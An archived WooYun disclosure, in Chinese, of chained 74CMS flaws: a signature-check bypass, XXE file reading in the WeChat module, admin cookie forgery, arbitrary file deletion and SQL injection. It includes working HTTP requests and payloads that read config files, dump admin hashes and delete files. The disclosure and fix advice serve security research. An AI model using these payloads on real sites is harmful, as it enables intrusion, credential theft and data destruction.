当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(14) 关注此漏洞

缺陷编号: WooYun-2014-75009

漏洞标题: 74CMS最新版绕过继续任意文件读取(通用性分析)到任意文件删除

相关厂商: 74cms.com

漏洞作者: xfkxfk认证白帽子

提交时间: 2014-09-04 13:19

公开时间: 2014-12-03 13:20

漏洞类型: 设计缺陷/逻辑错误

危害等级: 高

自评Rank: 20

漏洞状态: 厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 help@wooyun.org

Tags标签: 第三方不可信程序 任意文件读取利用 php源码审核

1人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2014-09-04: 细节已通知厂商并且等待厂商处理中
2014-09-04: 厂商已经确认,细节仅向厂商公开
2014-09-07: 细节向第三方安全合作伙伴开放(绿盟科技唐朝安全巡航无声信息
2014-10-29: 细节向核心白帽子及相关领域专家公开
2014-11-08: 细节向普通白帽子公开
2014-11-18: 细节向实习白帽子公开
2014-12-03: 细节向公众公开

简要描述:

74CMS最新版绕过继续任意文件读取(通用性分析)到任意文件删除

详细说明:

0x000 简介

写这个漏洞的时候很纠结,不知道到底要提交给谁,74cms,cncert,腾讯?

最后还是交给74cms吧,因为74cms的厂商看了还是挺负责的,交给cncert又不知道能不能让厂商知道并修复,交给腾讯肯定又是忽略的节奏!

这里主要那74cms的漏洞和phpyun之前的漏洞分析,然后找出共同的问题点,然后找到来源,都是因为开发者的安全意识薄弱,还有腾讯的带头大哥榜样惹的祸,暂且这么说吧!

作为厂商只是那现成的来用,太依赖第三方的东西,完全没有自己考虑到问题的产生。

作为这个漏洞的来源腾讯,虽然提供了现成示例,示例中也有提到安全防御,但是只是一个提示,并没有真实的代码,由于带头大哥作用,用户很信任的直接拿来用了,然后问题产生了。。。

下面详细介绍。



0x001 任意文件读取漏洞

这里存在任意文件读取漏洞,应该是XXE漏洞,且同一文件存在多处

由于此漏洞又引起了SQL注入漏洞



74CMS最新版:74cms_v3.4.20140820 官方8.20号更新

之前雨牛提交过一次:

http://**.**.**.**/bugs/wooyun-2014-068941

这里直接就是没有检测checkSignature,只要signature参数设置了这个就直接进入函数responseMsg,然后漏洞就产生了

在最新版中,74cms在进入responseMsg前,添加了检测:

code 区域
if(!$this->checkSignature())
{
exit();
}



但是这里的检测在默认情况下依然存在问题,可被绕过,看下面分析!



文件/plus/weixin.php:

code 区域
public function responseMsg()
{
if(!$this->checkSignature())
{
exit();
}
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];
if (!empty($postStr))
{

$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$keyword = iconv("utf-8","gb2312",$keyword);
$time = time();
$event = trim($postObj->Event);
if ($event === "subscribe")
{
$word= "回复j返回紧急招聘,回复n返回最新招聘!您可以尝试输入职位名称如“会计”,系统将会返回您要找的信息,我们努力打造最人性化的服务平台,谢谢关注。";
$text="<xml>
<ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
<FromUserName><![CDATA[".$toUsername."]]></FromUserName>
<CreateTime>".$time."</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[".$word."]]></Content>
</xml> ";
exit($text);
}



这里将$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];

通过simplexml_load_string解析后的内容,直接带入了$postObj:

然而$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];就是直接获取的POST过来的XML内容,没有经过任何处理,且无视GPC。

整个过程就是传一个XML的内容进去,然后输出一个XML的内容,那么我们结果XML实体注入不就可以读取服务器上的内容,然后再输出出来么?!

实际证明是可行的,见漏洞证明!

在这之前还有一个条件:

code 区域
private function checkSignature()
{
$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];
$token = TOKEN;
$tmpArr = array($token, $timestamp, $nonce);
sort($tmpArr);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );
if($tmpStr == $signature )
{
return true;
}
else
{
return false;
}
}



如果用户设置了wx_token就没办法了,但是这个wx_token默认是空的。

所以在默认条件下,没有wx_token时,这个$tmpStr == $signature==da39a3ee5e6b4b0d3255bfef95601890afd80709,这是一个固定的值了,我们是完全可以利用上面的漏洞读入任意文件。



0x002 后台任意登陆及任意文件删除漏洞

由于我们上面的任意文件读取,可以读到任意文件,所以配置文件中的$QS_pwdhash也是可以读取到的

我们来看看后台的管理权限验证:

文件:/admin/admin_baiduxml.php

code 区域
define('IN_QISHI', true);
require_once(dirname(__FILE__).'/../data/config.php');
require_once(dirname(__FILE__).'/include/admin_common.inc.php');
$act = !empty($_REQUEST['act']) ? trim($_REQUEST['act']) : 'xmllist';
$smarty->assign('act',$act);
$smarty->assign('pageheader',"百度开放平台");
......



开头引用了admin_common.inc.php,进入:

code 区域
if(empty($_SESSION['admin_id']) && $_REQUEST['act'] != 'login' && $_REQUEST['act'] != 'do_login' && $_REQUEST['act'] != 'logout')
{
if($_COOKIE['Qishi']['admin_id'] && $_COOKIE['Qishi']['admin_name'] && $_COOKIE['Qishi']['admin_pwd'])
{

if(check_cookie($_COOKIE['Qishi']['admin_name'],$_COOKIE['Qishi']['admin_pwd']))
{
update_admin_info($_COOKIE['Qishi']['admin_name'],false);
}
else
{
setcookie("Qishi[admin_id]", '', 1, $QS_cookiepath, $QS_cookiedomain);
setcookie("Qishi[admin_name]", '', 1, $QS_cookiepath, $QS_cookiedomain);
setcookie("Qishi[admin_pwd]", '', 1, $QS_cookiepath, $QS_cookiedomain);
exit('<script type="text/javascript">top.location="admin_login.php?act=login";</script>');
}
}
else
{
exit('<script type="text/javascript">top.location="admin_login.php?act=login";</script>');
}
}



这里进行验证,如果未登录,且访问后台页面时,会判断COOKIE

当COOKIE中的admin_id,admin_name,admin_pwd不为空时,调用check_cookie检测验证

code 区域
function check_cookie($user_name, $pwd)
{
global $db,$QS_pwdhash;
$sql = "SELECT * FROM ".table('admin')." WHERE admin_name='".$user_name."' ";
$user = $db->getone($sql);
if(md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash) == $pwd)
{
return true;
}
return false;
}



这里通过admin_name查出管理员的pwd,pwd_hash

然后md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash)

当此md5值等于cookie中的pwd时,然后true

所以,这里的admin_name可控,QS_pwdhash通过读取可控

当admin_name不存在时,返回的pwd,pwd_hash为空

此时

md5($user['admin_name'].$user['pwd'].$user['pwd_hash'].$QS_pwdhash) == md5(''.''.''.$QS_pwdhash) == pwd

所以,当我们cookie中的pwd等于QS_pwdhash的md5即可通过,返回true

此时即可操作这里的admin_baiduxml.php页面的功能

回到此页面:

code 区域
elseif($act == 'del')
{
$xmlset=get_cache('baiduxml');
$xmldir = '../'.$xmlset['xmldir'];
echo $xmldir;
$file_name=$_POST['file_name'];
if (empty($file_name))
{
adminmsg("请选择文档!",1);
}
if (!is_array($file_name)) $file_name=array($file_name);
foreach($file_name as $f )
{
echo $xmldir.$f;
@unlink($xmldir.$f);
}
adminmsg("删除成功!",2);
}



当act=del时:

POST的file_name没有经过处理直接进入unlink函数,导致任意文件删除!





0x003 SQL注入漏洞

再往下看:

code 区域
if (!empty($keyword))
{

if($_CFG['sina_apiopen']=='0')
{
$word="网站微信接口已经关闭";
$text="<xml>
<ToUserName><![CDATA[".$fromUsername."]]></ToUserName>
<FromUserName><![CDATA[".$toUsername."]]></FromUserName>
<CreateTime>".$time."</CreateTime>
<MsgType><![CDATA[text]]></MsgType>
<Content><![CDATA[".$word."]]></Content>
</xml> ";
exit($text);
}

$limit=" LIMIT 6";
$orderbysql=" ORDER BY refreshtime DESC";
if($keyword=="n")
{
$jobstable=table('jobs_search_rtime');
}
else if($keyword=="j")
{
$jobstable=table('jobs_search_rtime');
$wheresql=" where `emergency`=1 ";
}
else
{
$jobstable=table('jobs_search_key');
$wheresql.=" where likekey LIKE '%{$keyword}%' ";
}
$word='';
$list = $id = array();
$idresult = $this->query("SELECT id FROM {$jobstable} ".$wheresql.$orderbysql.$limit);
while($row = $this->fetch_array($idresult))
{
$id[]=$row['id'];
}
if (!empty($id))
{
$wheresql=" WHERE id IN (".implode(',',$id).") ";
$result = $this->query("SELECT * FROM ".table('jobs').$wheresql.$orderbysql);



当sina_apiopen没有开启时,这里同样是XXE漏洞

当sina_apiopen开始时,keyword = trim($postObj->Content);,即为输入的xml中的content标签的内容,进入下面的SQL执行,由于这里的数据时无视GPC的,随意直接到SQL注入,读取任意用户数据了



=================================================================================================

上面讲了下74cms的漏洞,下面重点分析一下这个同意的XXE漏洞

0x004 拟似通用的微信模块XXE漏洞

下面我们来说一下这里的拟似通用的任意文件读取XXE漏洞

这里都是在微信功能里面

而且都是同样的原因引起的:

先判断checkSignature,这里只有一个参数TOKEN不可知,但是默认都是空

所以此函数的判断基本上忽略

然后$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];获取内容,都是通过simplexml_load_string解析获取的xml内容,不经过处理直接进入xml内容里,然后输入了



同样的案例phpyun人才系统也用

http://**.**.**.**/bugs/wooyun-2010-064637

74cms人才系统也有

所以怀疑这里的微信功能是同一模块代码都拿来直接用的

事实就是这样:

微信接口开发者指南:

http://**.**.**.**/wiki/index.php?title=%E6%8E%A5%E5%85%A5%E6%8C%87%E5%8D%97

这里就是phpyun和74cms中微信模块的来源

而且这里给出来现成的PHP示例代码:

http://**.**.**.**/mpres/htmledition/res/wx_sample.20140819.zip

来看看这里的示例代码:

code 区域
<?php
/**
* wechat php test
*/

//define your token
define("TOKEN", "weixin");
$wechatObj = new wechatCallbackapiTest();
$wechatObj->valid();

class wechatCallbackapiTest
{
public function valid()
{
$echoStr = $_GET["echostr"];

//valid signature , option
if($this->checkSignature()){
echo $echoStr;
exit;
}
}

public function responseMsg()
{
//get post data, May be due to the different environments
$postStr = $GLOBALS["HTTP_RAW_POST_DATA"];

//extract post data
if (!empty($postStr)){
/* libxml_disable_entity_loader is to prevent XML eXternal Entity Injection,
the best way is to check the validity of xml by yourself */
libxml_disable_entity_loader(true);
$postObj = simplexml_load_string($postStr, 'SimpleXMLElement', LIBXML_NOCDATA);
$fromUsername = $postObj->FromUserName;
$toUsername = $postObj->ToUserName;
$keyword = trim($postObj->Content);
$time = time();
$textTpl = "<xml>
<ToUserName><![CDATA[%s]]></ToUserName>
<FromUserName><![CDATA[%s]]></FromUserName>
<CreateTime>%s</CreateTime>
<MsgType><![CDATA[%s]]></MsgType>
<Content><![CDATA[%s]]></Content>
<FuncFlag>0</FuncFlag>
</xml>";
if(!empty( $keyword ))
{
$msgType = "text";
$contentStr = "Welcome to wechat world!";
$resultStr = sprintf($textTpl, $fromUsername, $toUsername, $time, $msgType, $contentStr);
echo $resultStr;
}else{
echo "Input something...";
}

}else {
echo "";
exit;
}
}

private function checkSignature()
{
// you must define TOKEN by yourself
if (!defined("TOKEN")) {
throw new Exception('TOKEN is not defined!');
}

$signature = $_GET["signature"];
$timestamp = $_GET["timestamp"];
$nonce = $_GET["nonce"];

$token = TOKEN;
$tmpArr = array($token, $timestamp, $nonce);
// use SORT_STRING rule
sort($tmpArr, SORT_STRING);
$tmpStr = implode( $tmpArr );
$tmpStr = sha1( $tmpStr );

if( $tmpStr == $signature ){
return true;
}else{
return false;
}
}
}

?>



可以看到跟74cms的中的微信代码是一样的,phpyun也同样

唯一不同的地方就是,在示例代码里面有一个libxml_disable_entity_loader函数,这个函是用来prevent XML eXternal Entity Injection的,但是这只是示例中的一个提示,并不真正的存在此函数,需要的话得用户自己定义。

剩下的地方都是一样的,通过跟74cms和phpyun的开发人员沟通,都是直接那这里的示例代码稍加修改即利用的,而且都没有自定义这个libxml_disable_entity_loader函数,所以很明显是有问题的!!!

通过上面的分析和证明,这里74cms的任意文件读取漏洞跟phpyun的那个是一样的,同样的问题引起的,所以说是通用的漏洞毫不为过。

这,就是漏洞的来源!!!

漏洞证明:

任意文件读取漏洞证明:

注意这里的Content-Type

Content-Type: text/xml

code 区域
POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709&timestamp=&nonce= HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: text/xml
Content-Length: 275

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///F:/wwwroot/Apache2/htdocs/74cms/robots.txt">
]>
<xml>
<ToUserName>&test;</ToUserName>
<FromUserName>1111</FromUserName>
<Content>2222</Content>
<Event>subscribe</Event>
</xml>



222.png



这里读入了txt文件,但是如果要读取php文件内容的话,这样是不行的

因为php源码里面有尖括号会破坏xml的格式,这样是读不出来PHP源码的

但是我们可以这样:

code 区域
php://filter/read=convert.base64-encode/resource=../data/config.php



这样打出来的php内容是base64编码,我们在解码即可得到php源码内容了:

code 区域
POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709&timestamp=&nonce= HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: text/xml
Content-Length: 292

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "php://filter/read=convert.base64-encode/resource=../data/config.php">
]>
<xml>
<ToUserName>&test;</ToUserName>
<FromUserName>1111</FromUserName>
<Content>2222</Content>
<Event>subscribe</Event>
</xml>



333.png



444.png



后台任意文件删除:

通过上面读出QS_pwdhash的值

$QS_pwdhash = "~MmgQ0y~-3gw9cHq";

然后md5(~MmgQ0y~-3gw9cHq)= 64d3043b108382ce9be576eeac8de47f

然后添加COOKIE:admin_name要不存在的name,admin_id,admin_pwd等于MD5值

code 区域
POST /74cms/admin/admin_baiduxml.php?act=del HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:31.0) Gecko/20100101 Firefox/31.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Cookie: Qishi[admin_name]=adminname; Qishi[admin_pwd]=64d3043b108382ce9be576eeac8de47f; Qishi[admin_id]=1; PHPSESSID=aa12bf3aced95b1f56a0b9313037ea17
X-Forwarded-For: **.**.**.**',`email`=(if(mid(user(),1,1)=char(114),sleep(3),0))#
DNT: 1
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 23

file_name=../robots.txt



看看结果,成功删除:

555.png



robots.txt已被删除:

666.png





SQL注入漏洞:

code 区域
POST /74cms/plus/weixin.php?signature=da39a3ee5e6b4b0d3255bfef95601890afd80709&timestamp=&nonce= HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:30.0) Gecko/20100101 Firefox/30.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Connection: keep-alive
Content-Type: text/xml
Content-Length: 341

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE copyright [
<!ENTITY test SYSTEM "file:///F:/wwwroot/Apache2/htdocs/74cms/robots.txt">
]>
<xml>
<ToUserName>&test;</ToUserName>
<FromUserName>1111</FromUserName>
<Content>2222' union select concat(admin_name,0x23,pwd,0x23,pwd_hash) from qs_admin#</Content>
<Event>3333</Event>
</xml>



111.png

修复方案:

自定义libxml_disable_entity_loader函数。

引用问题来源的腾讯示例代码中的注释:

libxml_disable_entity_loader is to prevent XML eXternal Entity Injection,the best way is to check the validity of xml by yourself

版权声明:转载请注明来源 xfkxfk@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2014-09-04 16:19

厂商回复:

感谢反馈!

最新状态:

暂无


漏洞评价:

对本漏洞信息进行评价,以更好的反馈信息的价值,包括信息客观性,内容是否完整以及是否具备学习价值

漏洞评价(少于3人评价):
登陆后才能进行评分
0%
0%
0%
50%
50%

评价

  1. 2014-12-07 22:39 | 廷廷 ( 路人 | Rank:0 漏洞数:1 | 有很强的好奇心,爱好广泛,求女女带走。。...)
    2

    第三方插件造成的血案

登录后才能发表评论,请先 登录